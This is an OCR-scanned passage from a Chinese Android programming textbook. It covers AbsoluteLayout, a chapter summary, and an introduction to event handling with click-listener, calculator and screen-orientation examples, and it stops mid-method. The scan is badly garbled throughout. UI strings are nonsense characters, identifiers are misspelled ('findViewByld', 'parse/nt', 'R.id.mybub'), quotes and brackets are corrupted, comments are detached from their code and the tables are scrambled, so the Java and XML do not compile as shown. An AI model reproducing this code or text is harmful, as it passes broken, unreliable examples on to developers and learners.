
/采用 绝对 定位 布局 


xmlins:android="http:/schemas.android.com/apKk/res/android" 


android:id="@+id/AbsoluteLayout01" 

android:layout_width="fill_parent”" 

android:layout_height="fill_parent"> 

<TextView 
android:text=" 净 苏 民乐 箭 花 瑶 作 学 磁 " 
android:id="@+id/TextView01" 
android:layout_height="wrap_content” 
android:layout_width="wrap_content" 
android:layout_x="80px” 
android:layout_y="10px"/> 

<TextView 
android:text="www. mldnjava.cn”" 
android:id="@+id/TextView02" 
android:layout_height="wrap_content” 
android:layout_width="wrap_content" 
android:layout_x="90px” 
android:layout_y="30px"/> 

<ImageView 
android:id="@+id/img" 
android:src="@drawable/mldn_3g" 
android:layout_width="wrap_content" 
android:layout_height="wrap_content” 
android:layout_x="20px” 
android:layout_y="100px"/> 

</AbsoluteLayout> 


// 布 局 管理 器 ID， 程序 中 使 用 
// 此 布局 管理 器 将 占据 整个 屏幕 宽度 
// 此 布局 管理 器 将 占据 整个 屏幕 高 度 
/文本 显示 组 件 

/默认 显示 文字 

// 此 组 件 ID， 程 序 中 使 用 

// 组 件 的 高 度 为 文字 高 度 

// 组 件 的 宽度 为 文字 宽度 
/组件 的 X 轴 坐 标 

/组件 的 Y 轴 坐 标 

/文本 显示 组 件 

/| 默认 显示 文字 

/此 组 件 ID， 程 序 中 使 用 

// 组 件 的 高 度 为 文字 高 度 

// 组 件 的 宽度 为 文字 宽度 

/组 件 的 X 轴 坐 标 

/组件 的 Y 轴 坐 标 

/文本 显示 组 件 

/此 组 件 ID， 程 序 中 使 用 

// 组 件 的 显示 图 片 

// 组 件 的 宽度 为 图 片 宽 度 

// 组 件 的 高 度 为 图 片 高 度 

// 组 件 的 X 轴 坐 标 

/组 件 的 Y 轴 坐 标 

// 绝 对 定位 布局 管理 器 结束 


在 本 程序 中 一 共 定义 了 3 个 组 件 ， 并 为 不 同 的 组 件 指定 了 不 同 的 显示 坐标 。 


回 文本 显示 框 A (TextView01) : 坐标 (80.10) 。 
文本 显示 框 B (TextView02) : 坐标 (90.30) 。 
回 图 片 显示 框 (img) : 坐标 (20, 100) 。 

程序 在 Android 2.2 版 本 下 的 运行 效果 如 图 5-17 所 示 。 
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图 5-17 使 用 绝对 布局 管理 器 


5.8 本 章 小 结 


(1) 使 用 布局 管理 器 可 以 对 组 件 的 布局 进行 管理 ， 在 Android 中 提供 了 4 种 布局 管理 器 : 
LinearLayout、FrameLayout、TableLayout 和 RelativeLayout。 

(2) 所 有 的 布局 管理 器 既 可 以 通过 配置 文件 实现 ， 也 可 以 通过 Activity 程序 动态 生成 。 

(3) 表格 布局 管理 器 可 以 以 表格 的 形式 对 数据 显示 进行 排列 ， 在 列表 操作 中 使 用 较 多 。 

(4) 布局 管理 器 可 以 通过 嵌 套 实现 更 加 复杂 的 布局 显示 。 

(5) 在 Android 2.3.3 之 后 不 再 支持 绝对 定位 布局 管理 器 。 
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第 6 章 ， Android 事件 处 理 


通过 本 章 的 学 习 可 以 达到 以 下 目标 : 

回 掌握 Android 中 事件 处 理 的 操作 原理 。 

掌握 Android 中 主要 事件 的 使 用 。 

回 可 以 对 基本 组 件 进行 事件 的 监听 及 操作 ， 让 程序 达到 良好 的 交互 性 。 

组 件 定义 完成 之 后 ， 下 面 最 需要 做 的 就 是 让 组 件 变 得 更 加 有 “意义 ”， 而 要 想 让 这 些 组 件 
有 “意义 ”， 就 有 必要 让 其 “ 动 ” 起 来 ， 例 如 ， 当 单 击 一 个 按钮 时 应 该 给 予 一 些 反 应 ， 那 么 这 
就 需要 事件 处 理 的 支持 。 本 章 将 讲解 Android 中 事件 的 基本 操作 。 


6.1 事件 处 理 简介 


Android 程序 的 开发 主要 是 借助 于 Java 语言 ， 其 事件 的 处 理 流 程 也 是 参考 了 Java 中 的 事件 
处 理 操作 。 在 Java 中 ， 如 果 要 想 进行 图 形 界面 的 事件 处 理 ， 则 首先 必须 有 一 个 事件 源 ， 而 事件 
源 的 产生 可 以 有 多 种 形式 ， 如 单 击 按钮 或 者 修改 下 拉 列 表 选 项 ， 之 后 根据 此 事件 源 找到 相应 的 
事件 处 理 操作 类 对 事件 进行 处 理 ， 如 图 6-1 所 示 。 


是 否 有 监听 器 
处 理事 件 ? 


放弃 事件 


特定 事件 的 
处 理 方法 
找到 注册 的 
事件 监听 器 
图 6-1 事件 处 理 流程 


从 图 6-1 中 可 以 发 现 , 所 有 的 事件 产生 之 后 ， 将 自动 调用 对 应 的 事件 处 理 方式 ， 如 果 已 经 存 
在 事件 的 监听 操作 ， 则 使 用 指定 的 事件 处 理 方式 ， 通 过 事件 监听 器 对 事件 进行 处 理 ; 而 如 果 没 
有 相应 的 监听 处 理 程序 ， 则 放弃 该 事件 。 
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了 提示 

关于 Java 的 事件 处 理 。 

由 于 Android 的 事件 处 理 形式 与 Java 类 似 ， 如 果 读 者 对 于 此 部 分 不 是 很 理解 ， 建 议 可 先 
阅读 本 系列 从 书 中 《名 师 讲 坛 一 一 Java 开发 实战 经 典 》 一 书 第 18 章 的 内 容 。 


Android 中 常用 的 事件 如 表 6-1 所 示 ， 每 种 事件 有 自己 的 事件 处 理 接口 。 
表 6-1 常用 事件 及 处 理 接口 


No.| 事 件 接口 处 理 方 法 描述 
击 组 

1 | 单 击 事件 |View.OnClickListener public abstract void onClick (View v) 2 发 作 
blic abstract bool nLongClick 长 按 组 件 
2 | 长 按 事 件 |View.OnLongClickListener es act boolean onLongClic 了 本 件 
blic abstract bool nK iew v,| 处 理 键 盘 

3 | 键盘 事件 “|View.OnKeyListener ee 人 加 

int keyCode, KeyEvent event 事件 

当 焦 点 发 


blic abstract void onFocusChan i 
4 | 焦点 事件 |View.OnFocusChangeListener Boi Obshoet yo nPop han ee Oy 生 改 变 时 
V, boolean hasFocus) 


tm public abstract boolean onTouch (View v, 六 生 触 摸 
MotionEvent event) 事件 
创建 上 下 文 public abstract void onCreateContextMenu 当 上 下 文 
6 菜单 事件 View.OnCreateContextMenuListener | (ContextMenu menu, View v, ContextMenu. | 菜单 创建 
ContextMenumfo menuImfo) 时 触发 


表 6-1 所 定义 的 接口 都 是 View 类 的 内 部 接口 ,除了 这 些 内 部 接口 之 外 , 在 事件 处 理 中 , View 
类 也 提供 了 事件 处 理 的 注册 方法 ， 如 表 6-2 所 示 。 


表 6-2 View 类 的 事件 注册 方法 


No. 方 ” 法 描述 

1 |public void setOnClickListener(View.OnClickListener D) 注册 单 击 事件 

2 |public void setOnLongClickListener(View.OnLongClickListener 1) 注册 长 按 事 件 

3_|public void setOnKeyListener(View.OnKeyListener |) 注册 键盘 事件 
a . 注册 焦点 改变 

4 |public void setOnFocusChangeListener(View.OnFocusChangeListener ]) 事件 

5 |public void setOnTouchListener(View.OnTouchListener 1) 注册 触摸 事件 
人 注册 创建 上 下 

6 |public void setOnCreateContextMenuListener(View.OnCreateContextMenuListenerJ) 文 菜单 事件 


表 6-2 所 列 出 的 几 个 事件 注册 方法 中 , 都 需要 传递 每 个 事件 监听 接口 的 对 象 , 下 面 通过 一 些 
具体 的 代码 演示 事件 的 基本 操作 ， 当 然 在 这 里 需要 再 次 提醒 读者 的 是 ，Android 中 的 事件 处 理 程 
序 较 多 ， 所 以 本 章 将 会 采用 各 个 组 件 进行 事件 的 操作 ， 而 所 涉及 的 事件 并 不 局 限于 以 上 所 列 出 
的 事件 。 
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Gs 


-提示 
本 章 使 用 基本 组 件 。 
本 章 所 使 用 的 组 件 都 是 在 第 4 章 中 为 读者 讲解 过 的 基本 组 件 ， 如 果 有 不 熟悉 的 读者 ， 可 
以 参考 第 4 章 的 内 容 ， 而 对 于 一 些 特殊 的 组 件 及 事件 的 处 理 ， 将 在 第 7 章 中 介绍 。 


me 


-提示 

关于 事件 处 理 的 学 习 说 明 。 

在 Android 系统 中 有 许多 事件 处 理 操作 ， 几 乎 每 种 组 件 都 对 应 着 事件 处 理 ， 在 进行 本 章 
学 习 时 ， 一 定 要 掌握 事件 的 处 理 流程 ， 这 样 以 后 在 接触 到 新 的 组 件 时 也 可 以 轻松 上 手 。 


6.2 单 击 事件 


6.2.1 认识 单 击 事件 


在 手机 使 用 的 过 程 中 ， 经 常 要 使 用 按钮 触发 一 些 基本 的 操作 ， 这 时 就 可 以 通过 单 击 事件 完 
成 。 单 击 事件 使 用 View.OnClickListener 接口 进行 事件 的 处 理 ， 此 接口 定义 如 下 : 
public static interface View.OnClickListener{ 


public void onClick(View v) ; 


} 
如 果 要 想 设 置 此 事件 操作 接口 , 则 直接 使 用 setOnClickListener() 方 法 即 可 , 当 事 件 触发 之 后 ， 
使 用 onClick0 方 法 执行 具体 的 处 理 操作 。 


“了 /提示 


OnClickListener 属于 内 部 静态 接口 。 

OnClickListener 是 使 用 static 声明 的 内 部 接口 ， 这 样 一 来 ， 此 接口 就 相当 于 是 一 个 外 部 
接口 ， 如 果 对 此 语法 不 熟悉 的 读者 可 以 参考 《名 师 讲 坛 一 一 Java 开发 实战 经 典 》 一 书 第 5 章 
的 内 容 。 


【 例 6-1】 在 main.xml 文件 中 定义 组 件 


<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlns:android="http:/schemas.android.com/apk/res/android" 
android:orientation="vertical” // 所 有 组 件 垂直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<EditText /定义 文本 编辑 框 

android:id="@+id/myed” /文本 编辑 框 ID， 程 序 中 使 用 
android:layout_ width="wrap_content" // 组 件 宽度 为 文字 宽度 
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android:layout_height="wrap_content” 
android:text=" 并 租 入 化 的 树 各 "> 


<Button 


android:id="@+id/mybut" 
android:layout_width="wrap_content” 
android:layout_height="wrap_content” 
android:text=" 网 元 苍 入 入 写 /> 


<TextView 


android:id="@+id/mytext” 
android:layout_width="wrap_content" 
android:layout_height="wrap_content” 
android:text= "和 兽人 入 盼 镀 熏 是 : "/> 


</LinearLayout> 
本 配置 文件 中 定义 了 3 个 组 件 ， 分 别 为 文本 编辑 框 (EditText) 、 按 钮 (Button〉 和 文本 显 
示 框 (TextView) ， 而 本 程序 的 目的 是 要 在 文本 编辑 框 中 输入 内 容 ， 之 后 通过 按钮 触发 操作 的 


查 序 进行 控制 。 
【 例 6-2】 编写 Activity 程序 ， 进 行事 件 控制 
package org.Ixh.demo; 


import android.app.Activity; 

import android.os.Bundle; 

import android.view.View; 

import android.view.View.OnClickListener 
import android.widget.Button; 

import android.widget.EditText; 

import android.widget. TextView; 


public class MyClickDemo extends Activity { 


private TextView showView = null ; 
private EditText edit = null ; 
private Button but = null ; 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 
this.but = (Button) super.findViewByld(R.id.mybub ; 


// 组 件 高 度 为 文字 高 度 

// 组 件 的 默认 文字 

// 定 义 按钮 组 件 

// 按 钮 组 件 ID， 程 序 中 使 用 
// 组 件 宽度 为 文字 宽度 

// 组 件 高 度 为 文字 高 度 

// 组 件 的 默认 文字 

// 定 义 文本 显示 框 

/文本 显示 框 ID， 程 序 中 使 用 
// 组 件 宽度 为 文字 宽度 

// 组 件 高 度 为 文字 高 度 

// 组 件 的 默认 文字 


事件 ， 将 输入 的 内 容 交 给 文本 显示 框 显 示 ， 而 要 想 真 正 地 进行 事件 的 操作 ， 必 须要 由 Activity 


/定义 信息 显示 组 件 
/定义 文本 输入 组 件 
/定义 按钮 


// 取 得 按钮 


this.showView = (TextView) super .findViewByld(R.id.mytext) ; /取得 文本 显示 组 件 


this.edit = (EditText) super .findViewByld(R.id.myed) ; 
but.setOnClickListener(new ShowListener()) ; 


} 


private class ShowListener implements OnClickListener { 


public void onClick(View v) { 


String info = edit.getText().toString() ; 
showView.setText(" 输 入 的 内 容 是 : "+ info) ; 


} 
} 


// 取 得 文本 编辑 组 件 
/定义 监听 


/定义 监听 处 理 程序 


/取得 文本 框 输入 内 容 
/设置 文本 显示 组 件 


本 程序 运行 时 通过 findViewById0 方 法 分 别 取 得 了 在 main.xml 文件 中 定义 的 3 个 组 件 ， 之 


后 使 用 setOnClickListener() 方 法 在 按钮 中 注册 了 一 个 监听 器 程序 , 而 此 监听 器 程序 的 处 理 操作 在 
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ShowListener 这 个 内 部 类 中 进行 了 定义 。 在 ShowListener 中 首先 覆 写 了 OnClickListener 接口 中 
的 onClick0 方 法 ， 之 后 取得 了 文本 编辑 框 中 的 输入 内 容 ， 并 且 将 输入 的 内 容 经 过 处 理 后 放 在 了 
文本 显示 框 中 ， 本 程序 的 运行 效果 如 图 6-2 所 示 。 


提示 

关于 中 文 的 输入 问题 。 

由 于 所 有 程序 在 模拟 器 中 运行 ， 所 以 中 文 的 切换 并 不 方便 ， 如 果 要 输入 中 文 ， 则 首先 应 
该 进入 到 “设置 ”菜单 ， 选 择 “ 语 言 和 键盘 ”选项 ， 选 中 “谷歌 输入 法 ”， 而 后 就 可 以 在 程 
序 中 使 用 ShifttrSpace ( 空格 键 ) 组 合 键 进行 输入 法 的 切换 。 


古本 可 
LA 
MycClickD' 


图 6-2 监听 程序 运行 


上 述 程序 中 已 经 为 用 户 完 成 了 单 击 事件 的 操作 ， 但 是 在 这 里 有 一 个 问题 出 现 了 ， 例 如 ， 以 
下 代码 为 单 击 操作 处 理 的 内 部 类 : 


class ShowListener implements OnClickListener { /定义 监听 处 理 程序 
public void onClick(View v){ 
String info = edit.getText().toString() ; // 取 得 文本 框 输入 内 容 
showView.setText(" 输 入 的 内 容 是 : "+ info) ; /设置 文本 显示 组 件 
b 


} 
如 果 现 在 这 个 类 只 使 用 一 次 的 话 ， 那 么 很 明显 没有 必要 将 其 单独 定义 为 一 个 类 ， 所 以 可 以 
使 用 匿名 内 部 类 的 概念 对 程序 进行 修改 。 


提示 
关于 匿名 内 部 类 。 
匿名 内 部 类 是 在 抽象 类 和 接口 的 基础 之 上 所 发 展 起 来 的 一 种 应 用 ， 当 一 个 接口 或 抽象 类 
的 子 类 只 使 用 一 次 时 ， 就 可 以 将 其 定义 为 匿名 内 部 类 。 对 匿名 内 部 类 不 熟悉 的 读者 可 以 参考 
《名 师 讲 坛 一 一 Java 开发 实战 经 典 》 第 6 章 的 内 容 。 


【 例 6-3】 使 用 匿名 内 部 类 完成 单 击 事件 的 处 理 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener; 
import android.widget.Button; 
import android.widget.EditText; 
import android.widget. TextView; 
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public class MyClickDemo extends Activity { 


private TextView showView = null ; // 定 义 信 息 显示 组 件 
private EditText edit = null ; // 定 义 文本 输入 组 件 
private Button but = null ; /定义 按钮 
@Override 


public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 


this.but = (Button) super.findViewByld(R.id.mybut) ; // 取 得 按钮 
this.showView = (TextView) super.findViewByld(R.id.mytext) ; /取得 文本 显示 组 件 
this.edit = (EditText) super .findViewByld(R.id.myed) ; /取得 文本 编辑 组 件 
but.setOnClickListener(new OnClickListener(){ 
@Override 
public void onClick(View v) { 
String info = edit.getText().toString() ; // 取 得 文本 框 输入 内 容 
MyClickDemo.this.showView.setText(" 输 入 的 内 容 是 :" + info) ; // 设 置 文本 
显示 
} 
); // 定 义 监听 
} 
} 
本 程序 完成 了 与 之 前 一 样 的 处 理 效果 ， 唯 一 不 同 的 是 将 事件 的 处 理 操作 通过 匿名 内 部 类 的 


方式 进行 了 编 


3。 


6.2.2 ”实例 1: 简单 的 四 则 运算 


通过 6.2.1 节 的 程序 ， 读 者 应 该 已 经 清楚 了 单 击 事件 的 处 理 流 程 ， 当 用 户 在 Activity 程序 中 
为 组 件 配置 了 单 击 操作 之 后 ， 只 要 用 户 一 触发 此 操作 就 会 执行 特定 的 代码 ， 但 是 上 面 的 程序 过 
于 简单 ， 只 是 完成 了 一 个 简单 的 输入 并 显示 的 功能 ， 下 面 对 以 上 程序 进行 修改 ， 提 供 两 个 输入 
文本 框 ， 并 且 可 以 根据 用 户 的 选择 ， 完 成 基本 的 四 则 运算 功能 。 

【 例 6-4】 定义 显示 组 件 一 一 main.xml 

<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout /定义 线性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="vertica/” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent”" // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent"> // 布 局 管理 器 高 度 为 屏幕 高 度 
<LinearLayout // 内 该 线性 布局 管理 器 

xmlns:android="http:/schemas.android.com/apK/res/android” 
android:orientation="horizontal” // 所 有 组 件 水 平 摆 放 
android:layout_width="fill_parent” // 此 布局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="wrap_content”> // 此 布局 管理 器 高 度 为 组 件 高 度 
<EditText // 文 本 编辑 框 
android:id="@+id/myeda” /| 组件 iD， 程序 中 使 用 


android:layout_width="wrap_content” ”// 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content” ”// 组 件 高 度 为 文字 高 度 
android:text=" 盘 入 第 一 个 妆 实 .."/> /| 默认 显示 文字 
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<TextView // 文 本 显示 组 件 
android:id="@+id/note” // 组 件 ID， 程 序 中 使 用 
android:layout_ width="wrap_content” ”// 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content"/> // 组 件 高 度 为 文字 高 度 

<EditText // 文 本 编辑 框 
android:id="@+id/myedb” // 组 件 ID， 程 序 中 使 用 
android:layout_ width="wrap_content” ”// 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content” ”// 组 件 高 度 为 文字 高 度 
android:text=" 稻 入 第 二 个 妆 实 .."/> // 默 认 显示 文字 

<TextView // 文 本 显示 组 件 
android:layout_width="wrap_content” ”// 组 件 宽度 为 文字 宽度 
android:layout_height="Wwrap_content” ”// 组 件 高 度 为 文字 高 度 
android:text=" = "/> /默认 显示 文字 

<TextView // 文 本 显示 组 件 
android:id="@+id/mytext” // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content” ”// 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content” ”// 组 件 高 度 为 文字 高 度 
android:text=" 六 算 结 奥 .."/> /| 默认 显 示 文 字 

</LinearLayout> // 线 性 布局 管理 器 完结 
<LinearLayout // 内 赃 线 性 布局 管理 器 
xmlIns:android="http://schemas.android.com/apK/res/android" 

android:orientation="horizontal" /所 有 组 件 水 平 摆 放 

android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 

android:layout_height="wrap_content> // 布 局 管理 器 高 度 为 组 件 高 度 

<Button /按钮 组 件 
android:id="@+id/mybutadd" // 组 件 ID， 程 序 中 使 用 
android:layout_ width="wrap_content" ”// 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content” ”// 组 件 高 度 为 文字 高 度 
android:text="+"/> // 默 认 显 示 文 字 

<Button // 按 钮 组 件 
android:id="@+id/mybutsub”" // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content” ”// 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content” ”// 组 件 高 度 为 文字 高 度 
android:text="-"/> // 默 认 显示 文字 

<Button /按钮 组 件 
android:id="@+id/mybutmul” 1/ 组件 ID， 程 序 中 使 用 
android:layout_width="wrap_content” ”// 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content” ”// 组 件 高 度 为 文字 高 度 
android:text="x"/> // 默 认 显 示 文字 

<Button // 按 钮 组 件 
android:id="@+id/mybutdiv" // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content” ”// 组 件 宽度 为 文字 宽度 
android:layout_height="wrap_content” ”// 组 件 高 度 为 文字 高 度 
android:text="="/> // 默 认 显 示 文字 

</LinearLayout> // 线 性 布局 管理 器 完结 

</LinearLayout> 
本 配置 文件 一 共 定义 了 两 个 文本 编辑 框 (myeda、myedb) 、 一 个 文本 显示 框 (mytext) 、4 
个 按钮 (mybutadd、mybutsub、mybutmul、mybutdiv) ， 其 中 ,4 个 按钮 分 别 对 应 着 “+”、“-”、 
“*”、“/” 四 则 运算 操作 ， 而 在 Activity 程序 中 就 需要 对 这 4 个 按钮 分 别 进 行事 件 的 处 理 。 


Cl 
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【 例 6-5】 定义 Activity 程序 ， 进 行事 件 处 理 
package org.Ixh.demo; 
import android.app.Activity; 
import android.os.Bundle; 
import android.view.View; 
import android.view.View.OnClickListener; 
import android.widget.Button; 
import android.widget.EditText; 
import android.widget. TextView; 
public class MyClickDemo extends Activity { 


private TextView showView = null; 

private TextView note = null; 

private EditText editNum1 = null; 

private EditText editNum2 = null; 

private Button butAdd = null; 

private Button butSub = null; 

private Button butMul = null; 

private Button butDiv = null; 

private int num1 = 0; 

private int num2 = 0; 

@Override 

public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 


this.showView = (TextView) super.findViewByld(R.id.mytext); 
this.editNum1 = (EditText) super .findViewBylId(R.id.myeda); 
this.editNum2 = (EditText) super .findViewBylId(R.id.myedb); 
this.butAdd = (Button) super.findViewByld(R.id.mybutadd); 
this.butSub = (Button) super.findViewByld(R.id.mybutsub); 
this.butMul = (Button) super.findViewByld(R.id.mybutmu)); 
this.butDiv = (Button) super.findViewByld(R.id.mybutdiv); 
this.showView = (TextView) super.findViewByld(R.id.mytext); 
this.note = (TextView) super.findViewByld(R.id.note); 
this.butAdd.setOnClickListener(new AddListener()); 
this.butSub.setOnClickListener(new SubListener()); 
this.butMul.setOnClickListener(new MulListener()); 
this.butDiv.setOnClickListener(new DivListener()); 
this.editNum1.setOnClickListener(new OnClickListener() { 

@Override 

public void onClick(View v) { 


MyClickDemo.this.editNum1.setText(”); 
j 
D); 
this.editNum2.setOnClickListener(new OnClickListener() { 
@Override 
public void onClick(View v) { 
MyClickDemo.this.editNum2.setText("™); 
} 
D); 


// 定 义 信 息 显示 组 件 
1/ 操作 提示 信息 

// 定 义 文本 输入 组 件 
// 定 义 文本 输入 组 件 
// 加 法 按钮 

// 减 法 按钮 

// 乘 法 按钮 

// 除 法 按钮 
/保存 第 一 个 数字 
/保存 第 二 个 数字 


// 父 类 onCreate() 

// 定 义 布局 管理 器 

// 取 得 文本 显示 组 件 
// 取 得 文本 编辑 组 件 
// 取 得 文本 编辑 组 件 
// 取 得 按钮 

// 取 得 按钮 

// 取 得 按钮 

// 取 得 按钮 

// 取 得 显示 组 件 

// 取 得 显示 组 件 
/定义 监听 

/定义 监听 

/定义 监听 

/定义 监听 


/清除 文本 数据 


/文本 组 件 设置 单 击 事件 


// 清 除 文本 数据 
/文本 组 件 设置 单 击 事件 
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private class AddListener implements OnClickListener { /定义 监听 处 理 程序 
public void onClick(View v) { 
MyClickDemo.this.num1 = Integer.parse/nt(MyClickDemo.this.editNum1 


.getText().toString()); // 取 得 数字 
MyClickDemo.this.num2 = Integer.parse/nt(MyClickDemo.this.editNum2 
.getText().toString()); // 取 得 数字 
MyClickDemo.this.note.setText(" + "); /设置 文本 显示 组 件 
MyClickDemo.this.showView.setText( 
String.valueOfnum1 + num2)); // 设 置 文本 显示 组 件 
1 
} 
private class SubListener implements OnClickListener { /定义 监听 处 理 程序 
public void onClick(View v) { 
MyClickDemo.this.num1 = Integer.parse/nt{(MyClickDemo.this.editNum1 
.getText().toString()); // 取 得 数字 
MyClickDemo.this.num2 = Integer.parse/nt{(MyClickDemo.this.editNum2 
.getText().toString()); // 取 得 数字 
MyClickDemo.this.note.setText(" - "); // 设 置 文本 显示 组 件 
MyClickDemo.this.showView.setText( 
String.valueOfnum1 - num2)); /设置 文本 显示 组 件 
1 
} 
private class MulListener implements OnClickListener { /定义 监听 处 理 程序 
public void onClick(View v) { 
MyClickDemo.this.num1 = Integer.parselntMyClickDemo.this.editNum1 
.getText().toString()); // 取 得 数字 
MyClickDemo.this.num2 = Integer.parse/nt(MyClickDemo.this.editNum2 
.getText().toString()); // 取 得 数字 
MyClickDemo.this.note.setText(" * "); // 设 置 文本 显示 组 件 
MyClickDemo.this.showView.setText( 
String.value OfNnum1 * num2)); /设置 文本 显示 组 件 
} 
} 
private class DivListener implements OnClickListener { /定义 监听 处 理 程序 
public void onClick(View v) { 
MyClickDemo.this.num1 = Integer.parse/nt(MyClickDemo.this.editNum1 
.getText().toString()); // 取 得 数字 
MyClickDemo.this.num2 = Integer.parse/nt(MyClickDemo.this.editNum2 
.getText().toString()); // 取 得 数字 
MyClickDemo.this.note.setText(" = "); // 设 置 文本 显示 组 件 
MyClickDemo.this.showView.setText( 
String.value OANnum1 / num2)); // 设 置 文本 显示 组 件 
} 
} 


本 程序 首先 通过 findViewById( 方 法 分 别 取得 了 main.xml 文件 中 定义 的 两 个 文本 编辑 框 
(EditText) 、 一 个 文本 显示 框 (TextView) 和 4 个 按钮 (Button) ， 之 后 分 别 为 这 4 个 按钮 加 
入 了 监听 操作 ,同时 又 定义 了 4 个 监听 操作 的 处 理 内 部 类 : AddListener、 SubListener、 MulListener、 
DivListener， 以 分 别处 理 不 同 的 计算 ,而 后 在 用 户 选 择 文本 框 进行 数据 输入 时 ， 也 分 别 为 其 设置 
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了 单 击 事件 , 让 其 可 以 清除 已 有 的 文本 数据 。 程 序 的 运行 界面 如 图 6-3 所 示 ，, 执行 加 法 操作 的 界 
面 如 图 6-4 所 示 。 


CEErrrrcr I 


图 6-3 程序 运行 界面 
DEEzzzoema SE 


中 其 明和 雷 8:15 


图 6-4 执行 加 法 时 的 界面 


6.2.3 实例 2: 改变 屏幕 显示 方向 


在 手机 使 用 中 ， 经 常会 针对 于 显示 的 要 求 改 变 屏 幕 的 显示 方向 ， 例 如 ， 浏 览 信息 时 使 用 竖 
屏 的 方式 会 比较 方便 ， 而 在 运行 游戏 时 使 用 横 屏 的 方式 等 ， 而 在 Android 系统 中 ,支持 横 屏 和 竖 
屏 的 切换 操作 ， 如 果 要 想 完成 屏幕 显示 方向 的 切换 ， 需 要 Activity 类 的 一 些 方法 支持 ， 这 些 方法 
如 表 6-3 所 示 。 


表 6-3 切换 屏幕 显示 方向 的 操作 方法 


描 述 
取得 当前 的 手机 屏幕 方向 
设置 手机 屏幕 方向 
系统 设置 改变 时 触发 此 
事件 


在 设置 和 取得 手机 屏幕 方向 的 操作 中 ， 和 需要 一 个 int 型 的 操作 数据 ， 而 这 个 数据 由 android. 
content.pm.ActivityInfo 类 所 提供 ， 在 该 类 中 定义 了 3 个 常量 ， 如 表 6-4 所 示 。 


表 6-4 表示 手机 屏幕 方向 的 常量 


public static final int SCREEN _ORIENTATION 
LANDSCAPE 

public static final int SCREEN ORIENTATION_ 
PORTRAIT 
public static final int SCREEN _ ORIENTATION 
UNSPECIFIED 


屏幕 横 屏 显示 ， 表 示 数 值 为 0 


屏幕 竖 屏 显示 ， 表 示 数 值 为 1 


[3 


未 指定 的 屏幕 显示 ， 表 示 数 值 为 -1 
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在 表 6-3 中 的 onConfigurationChanged() 方 法 表示 当 使 用 setRequestedOrientation() 方 法 改变 了 
屏幕 显示 方向 之 后 将 触发 此 事件 的 操作 ， 表 示 对 系统 设置 的 改变 进行 监听 ， 而 当 系统 改变 之 后 ， 
对 于 每 一 个 Activity 程序 而 言 都 相当 于 重新 进行 了 加 载 , 所 以 如 果 要 对 一 些 组 件 做 操作 , 则 只 能 
通过 onConfigurationChanged() 方 法 完成 。 下 面 通过 一 个 程序 演示 如 何 进 行 屏 幕 的 切换 操作 ， 本 
程序 将 为 用 户 提供 两 张 图 片 ( 一 张 横 屏 显示 , 另 一 张 竖 屏 显示 , 都 可 保存 在 drawable-xx 目录 中 )， 
这 两 张 图 片 在 手机 屏幕 改变 时 会 自动 进行 变化 。 

【 例 6-6】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apK/res/android" 
android:orientation="vertica/”" /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<Button // 按 钮 组 件 
android:id="@+id/change” // 组 件 ID， 程 序 中 使 用 
android:layout_width="wrap_content”" // 组 件 宽度 为 屏幕 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 屏幕 高 度 
android:text= "或 要 屏 章 方向 为 严 屏 晃 元 〈 当 拟 为 您 屏 晃 元 ) /> /组 件 默认 文字 
<ImageView // 图 片 视图 
android:id="@+id/img” 1/ 组件 iD， 程序 中 使 用 
android:layout_width="wrap_content”" // 组 件 宽度 为 图 片 宽度 
android:layout_height="wrap_content” // 组 件 高 度 为 图 片 高 度 
android:src="@drawable/mldn_portrait" /> / 软 认 图 片 ID 
</LinearLayout> 


本 布局 管理 器 定义 了 两 个 组 件 ， 按钮 和 图 片 ， 当 用 户 单 击 按钮 时 会 根据 屏幕 方向 的 不 同 显 

示 不 同 风格 的 图 片 。 
【 例 6-7】 编写 Activity 程序 ， 完 成 屏幕 方向 改变 

package org.Ixh.demo; 

import android.app.Activity; 

import android.content.pm.Activitylnfo; 

import android.content.res.Configuration; 

import android.os.Bundle; 

import android.view.View; 

import android.view.View.OnClickListener; 

import android.widget.Button; 

import android.widget.ImageView; 

public class MyClickDemo extends Activity { 


private Button change = null; /定义 按钮 

private ImageView img = null ; /图 片 显示 

@Override 

public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); // 父 类 onCreate() 
super.setContentView(R.layout.main); /定义 布局 管理 器 
this.change = (Button) super.findViewByld(R.id.change); // 取 得 按钮 
this.img = (ImageView) superfindViewByld(R.id.img) ; // 取 得 图 片 


